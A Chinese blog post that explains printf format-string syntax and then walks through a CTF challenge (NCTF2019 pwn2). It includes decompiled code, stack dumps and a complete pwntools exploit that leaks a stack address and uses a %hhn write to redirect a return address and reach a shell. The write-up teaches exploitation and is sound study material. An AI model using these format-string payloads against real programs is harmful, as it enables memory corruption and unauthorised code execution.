格式化字符串总结

发布于 2019-11-26  1099 次阅读


格式化字符串

简介

简介

字符串泄露,顾名思义,就是利用一串格式化字符串,来达到泄露程序数据、修改内存数据的目的

详细文档

==%[parameter] [flags] [field width] [.precision] [length] type==

  1. parameter

    用法:n$,表示选择第几个参数,在格式化字符串题目中尤为重要,可以跨参数读取数据

  2. flag

    见文档

  3. Field Width

  4. Precision

  5. Length

    指要输出的数据的长度,规定数据的尺寸

字符 描述
hh 对于整数类型,printf 会输出一个字节长度的数据
h 对于整数类型,printf 会输出两个字节长度的数据
l 对于整数类型,printf 会输出四个字节长度的数据
ll 对于整数类型,printf 会输出八个字节长度的数据
  1. Type

    对应的是要输出的数据的数据类型,格式

字符 描述
d, i 有符号十进制数值int。'%d'与'%i'对于输出是同义;但对于scanf()输入二者不同,其中%i在输入值有前缀0x或0时,分别表示16进制或8进制的值。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。
u 十进制unsigned int。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。
f, F double型输出10进制定点表示。'f'与'F'差异是表示无穷与NaN时,'f'输出'inf', 'infinity'与'nan';'F'输出'INF', 'INFINITY'与'NAN'。小数点后的数字位数等于精度,最后一位数字四舍五入。精度默认为6。如果精度为0且没有#标记,则不出现小数点。小数点左侧至少一位数字。
e, E double值,输出形式为10进制的([-]d.ddd e[+/-]ddd). E版本使用的指数符号为E(而不是e)。指数部分至少包含2位数字,如果值为0,则指数部分为00。Windows系统,指数部分至少为3位数字,例如1.5e002,也可用Microsoft版的运行时函数_set_output_format 修改。小数点前存在1位数字。小数点后的数字位数等于精度。精度默认为6。如果精度为0且没有#标记,则不出现小数点。
g, G double型数值,精度定义为全部有效数字位数。当指数部分在闭区间 [-4,5] 内,输出为定点形式;否则输出为指数浮点形式。'g'使用小写字母,'G'使用大写字母。小数点右侧的尾数0不被显示;显示小数点仅当输出的小数部分不为0。
x, X 16进制unsigned int。'x'使用小写字母;'X'使用大写字母。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。
o 8进制unsigned int。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。
s 如果没有用l标志,输出null结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了l标志,则对应函数参数指向wchar_t型的数组,输出时把每个宽字符转化为多字节字符,相当于调用wcrtomb函数。
c 如果没有用l标志,把int参数转为unsigned char型输出;如果用了l标志,把wint_t参数转为包含两个元素的wchart_t数组,其中第一个元素包含要输出的字符,第二个元素为null宽字符。
p void *
a, A double型的16进制表示,"[−]0xh.hhhh p±d"。其中指数部分为10进制表示的形式。例如:1025.010输出为0x1.004000p+10。'a'使用小写字母,'A'使用大写字母。[2][3] (C++11流使用hexfloat输出16进制浮点数)
n 不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
% '%'字面值,不接受任何flags, width, precision or length。

​ 注意 n 这个type,它不会向屏幕中输出数据,而是会在参数所对应的地址上写上上一次 printf 输出的字节数, 配合 %100c%n 类型的格式化字符串使用更佳。

​ 此处 100c 指的是填充输出100个字符,%n 指的是在相应的内存上写上100这个数据

一个例子

@NCTF2019 pwn2

nctf2019_pwn2.7z

概览

让我们来总览一下程序

root@ubuntu:~/Desktop/test# checksec pwn_me_2 
[*] '/home/mrh929/Desktop/test/pwn_me_2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开,尤其是地址随机化,让我们不能定位到代码段的具体位置

泄漏点分析

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  initialize();
  input_name();
  memcpy_and_printf();
  puts("pwn me 100 years again,please!");
  puts("are you ready?");
  read_and_printf();
  if ( dword_55BA09B090E0 != 0x66666666 )
    failed();
  puts("enjoy the fun of pwn");
  getshell();
  return 0LL;
}

主要关注和read与printf有关的函数。

unsigned __int64 input_name()
{
  char buf; // [rsp+0h] [rbp-40h]
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("welcome to play nctf!");
  puts("a little different,have fun.");
  puts("but your name:");
  read(0, &buf, 0x30uLL);
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 sub_55BA09907C54()
{
  char dest; // [rsp+0h] [rbp-40h]
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  strncpy(&dest, src, 0x10uLL);
  printf(&dest, src);
  return __readfsqword(0x28u) ^ v2;
}

程序要求我们输入姓名,然后将 src 处的字符串复制到 dest ,并且输出 dest

但是经过调试,会发现后面这个函数不仅仅输出了那10个字符,而是在其后输出了乱码。

这个乱码也就是溢出点,是程序栈中的数据。

注意到 input_name 函数中存在read函数,这个函数仅仅进行了读入操作而并没有任何输出行为。

还是得经过一番调试,我们才会发现,buf 处的内存与后文的 dest 内存有一部分重叠,而 dest 的数据又没有进行初始化,导致我们可以直接访问前一个函数所注入的数据

尝试找出溢出点

[1] Accepting connection from 192.168.244.1...
welcome to play nctf!
a little different,have fun.
but your name:
11112222333344445555

程序下断点在 printf 函数内,IDA 栈检测窗口中:

00007FFFA44EFD08  000055A46A191C94  memcpy_and_printf+40
00007FFFA44EFD10  6E69726170657270  
00007FFFA44EFD18  0A2E2E2E2E2E2E67  
00007FFFA44EFD20  00007F0A35353535  
00007FFFA44EFD28  00007F9077AE8DBD  libc_2.23.so:_IO_setbuffer+BD
00007FFFA44EFD30  00007F9077E3E620  libc_2.23.so:_IO_2_1_stdout_
00007FFFA44EFD38  00007F9077AE681F  libc_2.23.so:_IO_fflush+7F
00007FFFA44EFD40  0000000000000000  
00007FFFA44EFD48  3B62E912D2F58C00  
00007FFFA44EFD50  00007FFFA44EFD60  [stack]:00007FFFA44EFD60
00007FFFA44EFD58  000055A46A191CCD  main+22
00007FFFA44EFD60  000055A46A191D30  init
00007FFFA44EFD68  00007F9077A99830  libc_2.23.so:__libc_start_main+F0

注意 00007FFFA44EFD20 ,这个地址保存了我们刚刚输入的数据的后半段:00 00 7F 0A 35 35 35 35

可以发现,这个数据之前的就是 src 本身的数据,而这个地方就是上一个 input_name 函数所带来的数据

偏移为 4 * 4 = 16

搜查系统栈,我们发现了一个可以利用的数据

00007FFFA44EFD50 00007FFFA44EFD60 [stack]:00007FFFA44EFD60

这是一个指向栈中的指针,我们可以通过格式化字符串将其所指向的地址泄露

payload1 = 'a'*16 + "%14$lld" 
#注意这是64位程序,函数指针长达8个字节,必须通过%lld泄露
#前16个字节会被src覆盖,问题不大
p.sendline(payload1)
p.recvuntil('..\n')

stack_addr = int(p.recv(15))

为什么要泄露这个栈中的地址呢?是因为我们发现通过这几个有限的泄露点是不能进行栈溢出的,因为 canary 和动态地址两者 只能知道其一

只有通过格式化字符串的方式在第二个泄漏点改变栈中的函数返回地址,从而让程序直接跳过检验内存数据是否为 0x66666666 的过程。

继续调试,下断点在下一个 printf 函数 ,查看系统栈

由于不方便调试,我调试了多次,动态地址有所变化,不过不影响观察

00007FFD56761AB8  000055607F0F1C31  read_and_printf+5B
00007FFD56761AC0  000A303030303030  
00007FFD56761AC8  00007FA8E673781B  libc_2.23.so:_IO_file_overflow+EB
00007FFD56761AD0  000000000000000E  
00007FFD56761AD8  00007FA8E6A82620  libc_2.23.so:_IO_2_1_stdout_
00007FFD56761AE0  000055607F0F1E7F  .rodata:aAreYouReady
00007FFD56761AE8  00007FA8E672C7FA  libc_2.23.so:puts+16A
00007FFD56761AF0  0000000000000000  
00007FFD56761AF8  C275F8AAB68E9400  
00007FFD56761B00  00007FFD56761B10  [stack]:00007FFD56761B10
00007FFD56761B08  000055607F0F1CEF  main+44
00007FFD56761B10  000055607F0F1D30  init
00007FFD56761B18  00007FA8E66DD830  libc_2.23.so:__libc_start_main+F0

第二行 00007FFD56761AC0 00 0A 30 30 30 30 30 30 是我输入的数据,直接出现在栈里面了,可以直接通过格式化字符串作为修改内存的一个参数

倒数第二行 00007FFD56761B08 main+44 这个地方是函数的返回地址,我们需要知道,PIE功能虽然会改变程序的基地址,但是通常它的最后两个字节也就是12位地址是不会发生改变的,利用这一点我们就不用去修改太多数据,最后两个字节即可。

再进行观察,算出这个地址与之前泄露的栈地址的偏移 为 -8

.text:000055607F0F1CD4                 call    _puts
.text:000055607F0F1CD9                 lea     rdi, aAreYouReady ; "are you ready?"
.text:000055607F0F1CE0                 call    _puts
.text:000055607F0F1CE5                 mov     eax, 0
.text:000055607F0F1CEA                 call    read_and_printf
.text:000055607F0F1CEF                 mov     eax, cs:dword_55607F2F30E0
.text:000055607F0F1CF5                 cmp     eax, 66666666h
.text:000055607F0F1CFA                 jnz     short loc_55607F0F1D14

查看汇编,发现 0xef 和 0xfa 地址刚好只相差一个字节,可以直接跳过检验数据的过程

我们便能写出 payload2

stack_addr -= 8
p.recv()

payload2 = "%250d%8$hhn" + 'k'*5 + p64(stack_addr)
p.sendline(payload2)

%250d 是为了填充250个字节

hh 是选择好的格式,代表以字节写入

与此类似的还有

  1. h : 按双字节写入

  2. l : 按四字节写入

  3. ll:按八字节写入

n 代表将前一个格式化字符串所输出的字节数量存入对应的地址中

补充5个padding的目的是对齐栈,使注入的数据位置正确。

exp

完整 exp

from pwn import *
context.log_level = "DEBUG"

p = remote('139.129.76.65',50005)

#p = process('./pwn_me_2')

p.recv()

payload1 = 'a'*16 + "%14$lld"
p.sendline(payload1)
p.recvuntil('..\n')

stack_addr = int(p.recv(15))
success(hex(stack_addr))
# 0x7ffd3ff3e9c0, the addr of stack

stack_addr -= 8
p.recv()

payload2 = "%250d%8$hhn" + 'k'*5 + p64(stack_addr)
p.sendline(payload2)

p.interactive()

CTFer|NOIPer|CSGO|摸鱼|菜鸡